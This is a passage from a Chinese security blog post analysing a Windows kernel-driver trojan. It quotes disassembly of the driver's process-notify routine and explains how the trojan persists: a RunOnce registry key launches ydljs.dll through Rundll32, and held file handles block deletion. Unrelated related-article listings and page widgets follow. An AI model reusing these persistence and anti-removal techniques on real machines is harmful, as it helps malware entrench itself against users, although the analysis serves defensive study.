.text:00010ED9 call ds:PsCreateSystemThread
.text:00010EDF push [ebp+Handle] ; Handle
.text:00010EE2 call ds:ZwClose ; 关闭该线程
.text:00010EE2
.text:00010EE8
.text:00010EE8 loc_10EE8: ; CODE XREF: NotifyRoutine+C2j
.text:00010EE8 ; NotifyRoutine+D3j
.text:00010EE8 pop edi
.text:00010EE9 pop esi
.text:00010EE9
.text:00010EEA
.text:00010EEA loc_10EEA: ; CODE XREF: NotifyRoutine+Fj
.text:00010EEA ; NotifyRoutine+19j
.text:00010EEA ; NotifyRoutine+31j
.text:00010EEA pop ebx
.text:00010EEB leave
.text:00010EEC retn 0Ch
.text:00010EEC
.text:00010EEC NotifyRoutine endp

每当有新的进程创建,它就用前面计算出的EPROCESS.ImageFileName来定位进程名称,如果是

userinit.exe,则写注册

表"/registry/machine/software/microsoft/windows/currentversion/runonce",键值为:"%

systemroot%/system32/Rundll32.exe %systemroot%/system32/ydljs.dll,DllUnregisterServer"。如果

不是userinit.exe进程,继续判断是否是explorer.exe进程,是则打开driver和dll文件以保证他们不能

被用户删除。

--------------------------------------------------------------------------------
【总结】
经过分析,此木马(恶意软件)共有2个文件:ydljs.dll和

esqyo.sys,用户不幸中招之后driver会写注册表注册驱动;注册开机运行ydljs.dll注入到Rundll32.exe

的键值;并且用driver打开sys文件和dll文件,保留句柄,使得用户无法卸载或删除相应的bin文件;每

次运行userinit.exe注册表以保证dll文件的开机加载。其他的破坏或者广告功能应该是在ydljs.dll中实

现的,driver只是用来保护文件、注册表中键值的安全。

--------------------------------------------------------------------------------
【致谢】
感谢看雪论坛、一蓑烟雨和驱动开发网上各位大侠关于调试驱动的帮

助,这里一并谢过。

2006年12月28日 18:22 by prince 
MyEclipse/Eclipse简单设置提高运行速度 MyEclipse是一个极耗内存的大家伙,建议机器至少2G内存,不然会很卡,为减低其内存消耗可以做如下简单设置。  1、去除不需要加载的模块  Windows->Preferences->General->Startup and Shutdown  此时右侧显示的是Eclipse启动时加载的模块,根据实际需要去除一些模块  如:  WTP:一个跟myeclipse差不多的东西,主要差 阅读详情

相关推荐

查杀木马安全软件 驱动级安全系统保护 源代码.zip

查杀木马安全软件 驱动级安全保护 源代码.zip

木马病毒简介

中了木马”就是指安装了木马的服务器端程序,若你的电脑被安装了服务器端程序,则拥有相应客户端的人就可以通过网络控制你的电脑。[3]第二代,在技术上有了很大的进步,冰河是中国木马的典型代表之一。服务端程序运行在被控计算机上,一般隐藏在被控计算机中,可以接收客户端发来的命令并执行,将客户端需要的信息发回,也就是常说的木马程序。[1]运行在服务端的木马程序首先隐匿自己的行踪,伪装成合法的通信程序,然后采用修改系统注册表的方法设置触发条件,保证自己可以被执行,并且可以不断监视注册表中的相关内容。

2301_77934503的博客 2085

嵌入式硬件实战:RC、LC与RL滤波电路的设计与选型指南

本文深入探讨了嵌入式系统中RC、LC与RL滤波电路的设计与选型策略。通过生活化比喻和实战案例,详细解析了三种滤波电路的工作原理、应用场景及工程注意事项,帮助工程师根据电流大小、频率特征和成本预算选择最优方案,提升嵌入式硬件设计的稳定性和抗干扰能力。

kiwi8的博客 286

【WEB】远程电子数据取证-木马分析(第1题)(驱动级文件隐藏)

【原题】 https://www.mozhe.cn/bug/detail/UHpRcDlZV2J0NmxSYXFPR0g2MUxaQT09bW96aGUmozhe 在wwwroot目录下找不到应该存在的seo文件夹,根据提示,是用了驱动级文件隐藏,使得seo文件夹不可见。 【解法】 驱动级文件隐藏特征 系统目录存在如下文件: c:\WINDOWS\xlkfs.dat c:\WINDOWS...

HAPPY 1562

STM32C8T6实战:用PID算法搞定超级电容的10W无线恒功率充电(附代码避坑)

本文详细介绍了如何使用STM32C8T6和PID算法实现超级电容的10W无线恒功率充电。通过优化硬件设计、动态调整PID参数以及三重滤波技术,解决了超级电容充电过程中的功率尖峰和效率问题。附有代码示例和调试经验,帮助开发者快速实现高效稳定的无线充电方案。

weixin_29190169的博客 408

手把手教你用STM32F303和LAN9252搭建EtherCAT从站(附IO/AD/DA完整代码)

本文详细介绍了如何使用STM32F303和LAN9252搭建EtherCAT从站,涵盖硬件选型、开发环境配置、协议栈移植及IO/AD/DA功能实现。通过实战指南和完整代码,帮助开发者快速掌握工业自动化中的实时通信技术,提升系统性能与可靠性。

weixin_26802933的博客 235

Pcshare驱动级木马及查杀

双击打开木马 然后就有下面了 靶机里cmd Svhost.exe,是大多数Windows服务的宿主程序。不能随意关闭它。 对于svchost.exe,先删除dll文件,在删除服务,最后再结束进程 不隐蔽的怎么搞: 木马运行了,再创建一个木马上线不了 没了之后再配个木马 ...

weixin_46476861的博客 1278

在MacBook上直接跑Windows Server 2022:一个开发者的真实踩坑与配置全记录

本文详细记录了在MacBook上原生运行Windows Server 2022的完整流程与优化技巧。通过Boot Camp实现非虚拟机安装,开发者可以充分利用Mac硬件性能,搭建高效的本地开发环境,特别适合需要测试跨平台应用和服务器功能的场景。文章涵盖驱动处理、分区策略、Docker配置等关键步骤,为技术极客提供实用指南。

weixin_42620913的博客 247

驱动人生挖矿木马分析与处置

样本分析

beichenyyds的博客 5255

LeRobot SO100仿真操控避坑指南:从MuJoCo模型调试到实机同步(附参数修正模板)

本文详细解析了LeRobot SO100机械臂在MuJoCo仿真操控中的常见问题与解决方案,包括关节转向符号调试、偏移值校准及实机同步技术。通过实战案例和参数修正模板,帮助开发者高效解决仿真与实机差异,提升机器人开发效率。

weixin_29064009的博客 247

ABAP CDS 视图参数 parameter_list 详解与最佳实践:从语法、作用域到可运行范例

本文系统梳理了ABAP CDS视图的WITH PARAMETERS定义与使用。主要内容包括:1)参数声明语法及其在整条SELECT语句中的贯穿使用;2)参数在WHERE/HAVING/ON等位置的多种写法(:pname和$parameters.pname);3)参数在航空公司航线筛选等实际业务场景中的应用;4)参数与会话变量的协作策略;5)在JOIN ON、HAVING、CASE等高级用法中的实践;6)提供完整的CDS视图与ABAP程序示例,展示参数声明、使用及Open SQL传参方式。所有内容均基于SAP

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 373

提高myeclipse启动速度

很多人都感觉myeclipse机子启动速度太慢,那是因为里面集成了太多的功能,但对于大多数人来说是不必要的,只需要根据自己正在用的项目加载相应的工具就行了。等到用到其他的时候再加载需要的。 Myeclipse的安装目录下面有个名为eclipse.ini的文件, 用记事本打开后, 修改参数: 把-Xms128m改成-Xms256m 把-Xmx256m改成-Xmx512m 去除不需要加载的模块Wi

Venus's Blog 1995

华为昇腾开发——多模型资源管理(C++)

在使用Ascend ACL(Ascend Computing Language)的ACLLite库进行多模型推理时,合理的资源管理至关重要。

如果想成为中心,那么就到中心去吧。 577

Eclipse、MyEclipse优化,提高运行速度

MyEclipse 是公认的优秀的软件开发工具,使用非常广泛。相信很多人在使用的过程中,发现其运行速度比较慢,因为每次操作的背后,它调用了很多的命令,执行了很多操作;但是其中大部分的操作都是非必须的;尤其是在开发大型项目时,给MyEclipse来一次瘦身,就显得十分必要了。 以下修改经过本人测试通过,能够明显提升MyEclipse的运行速度。   ##加大JVM的非堆内存:     .

走过的足迹 2875

【TC3xx芯片】TC3xx DMA模块详解

TC3xx DMA模块详解

qq_36056498的博客 5920

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

提高myeclipse的启动速度

1 在myeclipse 7.0版本以上时,window-preferences-MyEclipse Enterprise Work-Maven4MyEclipse-Maven, 取消选中Download repository index updates on startup!2 关闭更新调度:window --&gt; preferences --&gt; General --&gt; Star...

yuancandy的专栏 127

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

如何提高myeclipse的速度

提高myeclipse的速度如下: 1、去除不需要加载的模块   windows-preferences-general-startup and shutdown里去掉不需要的启动项   2、取消在启动时自动验证各种配置项目文件   windows-preferences-myeclipse-validation里的验证全部去掉   3、关闭myeclipse的自动更新功能...

niweiwei 182

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

提高Myeclipse开机速度

      1. 点击  Widnow-&gt;Perferences-&gt;General-&gt;Startup and Shutdown  将你不用的容器全部去掉勾选\   2. 点击 Widnow-&gt;Perferences-&gt;Myeclipse Enterprise Workbench-&gt;Validation   去掉 Build 下的所有勾选...

ahaoo0712的专栏 142

[转]提高myeclipse速度

<br />http://yufenfei.javaeye.com/blog/376464<br />1。关闭validate <br />取消自动validation <br />validation有一堆,什么xml、jsp、jsf、js等等,我们没有必要全部都去自动校验一下,只是需要的时候才会手工校验一下,速度立马提升好几个档次! <br />取消方法: <br />windows-->perferences-->myeclipse-->validation <br />除开Manual下面的复选框全

Echo's Blog 一直很安静 1552

提高MyEclipse启动速度

很多人都感觉myeclipse启动速度太慢,那是因为里面集成了太多的功能,但对于大多数人来说是不必要的,只需要根据自己正在用的项目加载相应的工具就行了。等到用到其他的时候再加载需要的。1、 Myeclipse的安装目录下面有个名为eclipse.ini的文件, 用记事本打开后, 修改参数:把-Xms128m改成-Xms256m把-Xmx256m改成-Xmx512m2、去除不需要加载的模块W

gaohuanjie的专栏 3078

提高myeclipse速度

提高myeclipse速度1。关闭validate 取消自动validation validation有一堆,什么xml、jsp、jsf、js等等,我们没有必要全部都去自动校验一下,只是需要的时候才会手工校验一下,速度立马提升好几个档次! 取消方法: windows-->perferences-->myeclipse-->validation 除开Manual下面的复选框全部选中之外,

2177

如何提高myeclipse的启动速度

1 在myeclipse 7.0版本以上时,window-preferences-MyEclipse Enterprise Work-Maven4MyEclipse-Maven, 取消选中Download repository index updates on startup!2 关闭更新调度:window --> preferences --> General --> Startup and S

chendc201的专栏 711

优化Myeclipse大幅提高速度

去除不需要加载的模块 一个系统20%的功能往往能够满足80%的需求,MyEclipse也不例外,我们在大多数时候只需要20%的系统功能,所以可以将一些不使用的模块禁止 加载启动。通过Windows - Preferences打开配置窗口,依次选择左侧的General - Startup and Shutdown,这个时候在右侧就显示出了Eclipse启动时加载的模块,可以根据自己的实际情况去

djx123456的专栏 769

myeclipse building workspace如何禁止及提高myeclipse速度

大家一定对building workspace时那缓慢的速度给困扰到了吧~ 其实只要把project选项里的 building automatically前的勾去掉,就可以快很多了。。 另外大家一定对 myeclipse 的速度经常感到痛苦把,ok,现在开始给 myeclipse 提速: 一、加大JVM的非堆内存 打开 eclipse.ini -showsplash c

L-BAKE 861
上一篇: 一个小型的用于监视进程产生和撤销驱动逆向分析
下一篇: Paper: Static Analyzer of Vicious Executables (SAVE)
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值